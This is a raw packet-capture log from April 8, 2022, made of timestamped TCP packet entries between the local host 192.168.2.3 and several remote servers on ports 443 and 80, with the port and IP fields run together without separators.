Apr 8, 2022 10:01:31.526709080 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.526732922 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.526743889 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.526787043 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.527055025 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.527107954 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.527151108 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.527228117 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.527260065 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.527270079 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.527278900 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.527328014 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.527990103 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.528032064 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.528064966 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.528070927 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.528078079 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.528114080 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.528126001 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.528167963 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.528881073 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.528923988 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.528939009 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.528963089 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.528976917 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.529002905 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.529011011 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.529051065 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.529525995 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.529565096 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.529592991 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.529606104 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.529617071 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.529648066 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.529654980 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.529686928 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.529695034 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.529726982 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.529735088 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.529766083 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.529774904 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.529803991 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.529814005 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.529844046 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.529850960 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.529891968 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.530219078 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.530260086 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.530272007 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.530301094 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.530313969 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.530344009 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.530354023 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.530383110 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.530395031 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.530432940 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.531716108 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.531790018 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.534491062 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.534533024 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.534581900 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.534589052 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.534600973 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.534643888 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.534650087 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.534709930 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.534718990 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.534768105 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.534780025 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.534823895 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.534828901 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.534883022 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.534885883 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.534936905 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.534940958 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.534992933 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.534993887 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.535047054 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.535053968 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.535101891 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.535104990 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.535156965 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.535160065 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.535197020 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.535211086 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.535268068 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.557265997 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.562331915 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.573039055 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.573096991 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.573139906 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.573179960 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.573231936 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.573230982 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.573295116 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.573297977 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.573313951 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.573359013 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.573368073 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.573417902 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.573429108 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.573482990 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.573497057 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.573544979 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.573564053 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.573604107 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.573605061 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.573654890 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.573673964 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.573714018 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.573718071 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.573766947 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.573786020 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.573826075 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.573841095 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.573888063 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.573893070 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.573941946 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.573949099 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.573999882 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.574003935 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.574055910 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.574058056 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.574106932 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.574148893 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.574153900 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.574177027 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.574225903 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.574261904 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.574305058 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.574326992 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.574371099 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.574378967 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.574426889 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.574443102 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.574486017 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.574500084 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.574532032 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.574551105 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.574600935 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.574600935 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.574654102 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.574665070 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.574717999 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.574722052 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.574784040 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.574788094 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.574847937 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.574851990 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.574902058 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.574915886 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.574959993 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.574980021 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.575017929 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.575022936 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.575076103 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.575083971 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.575139999 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.575505972 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.575547934 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.575581074 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.575608969 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.575617075 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.575665951 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.575678110 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.575728893 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.575733900 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.575797081 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.575807095 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.575858116 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.575877905 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.575917959 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.575927973 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.575975895 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.575982094 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.576035023 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.576035976 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.576087952 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.576111078 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.576128006 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.576147079 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.576167107 CEST4434971823.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.576183081 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.576229095 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.576534033 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.576615095 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.576668024 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.576709986 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.576738119 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.576767921 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.576822042 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.576863050 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.576884985 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.576915026 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.576920986 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.576967001 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.576982975 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.577025890 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.577037096 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.577085018 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.577089071 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.577147007 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.577307940 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.577347040 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.577379942 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.577399015 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.577440977 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.577482939 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.577507019 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.577542067 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.577560902 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.577604055 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.577613115 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.577672005 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.577678919 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.577727079 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.577744961 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.577784061 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.577797890 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.577856064 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.578318119 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.578357935 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.578401089 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.578403950 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.578425884 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.578464985 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.578478098 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.578525066 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.578535080 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.578583956 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.578588963 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.578639984 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.578649998 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.578697920 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.578706980 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.578756094 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.578763008 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.578820944 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.579232931 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.579332113 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.579379082 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.579420090 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.579446077 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.579474926 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.579476118 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.579525948 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.579543114 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.579586029 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.579593897 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.579643965 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.579649925 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.579699993 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.579705954 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.579756021 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.579762936 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.579813957 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.579819918 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.579868078 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.579874992 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.579925060 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.579931021 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.579981089 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.579988003 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.580037117 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.580044031 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.580094099 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.580101013 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.580148935 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.580153942 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.580204010 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.580214024 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.580265045 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.580271959 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.580321074 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.580328941 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.580379963 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.580384970 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.580441952 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.580462933 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.580502987 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.588112116 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.588202000 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.588229895 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.588249922 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.588254929 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.588304043 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.588308096 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.588341951 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.588361979 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.588391066 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.588402033 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.588440895 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.588447094 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.588489056 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.588498116 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.588536024 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.588543892 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.588591099 CEST4434971923.54.113.53192.168.2.3
Apr 8, 2022 10:01:31.588603020 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.588645935 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.907253981 CEST49717443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.907311916 CEST49718443192.168.2.323.54.113.53
Apr 8, 2022 10:01:31.907351017 CEST49719443192.168.2.323.54.113.53
Apr 8, 2022 10:01:33.089940071 CEST4967280192.168.2.3173.222.108.210
Apr 8, 2022 10:01:33.496156931 CEST4967380192.168.2.393.184.220.29
Apr 8, 2022 10:01:42.700176001 CEST4967280192.168.2.3173.222.108.210
Apr 8, 2022 10:01:43.119405031 CEST4967380192.168.2.393.184.220.29
Apr 8, 2022 10:01:54.517915010 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:54.518131971 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:54.518227100 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:54.518287897 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:54.518332958 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:54.518368959 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:54.518388987 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:54.518428087 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:54.518445015 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:54.535150051 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.535193920 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.535233974 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.535264015 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.535288095 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:54.535290003 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.535317898 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.535418987 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.535562992 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.535593033 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.535620928 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.535646915 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.535674095 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.535757065 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.535785913 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.535809994 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.535857916 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.535886049 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.535947084 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.536076069 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.536104918 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.536240101 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.536266088 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.536293030 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.536320925 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.536345959 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.536561966 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.536847115 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.536894083 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.536940098 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.536967993 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.536995888 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.537075996 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.537101984 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.537148952 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.537178040 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.537204027 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.537229061 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:54.537280083 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.537306070 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.537333012 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.537422895 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.537470102 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.537554979 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.537636042 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.537662029 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.537688971 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.537806034 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.537834883 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.537862062 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.537889957 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.537993908 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.538079023 CEST44349710204.79.197.200192.168.2.3
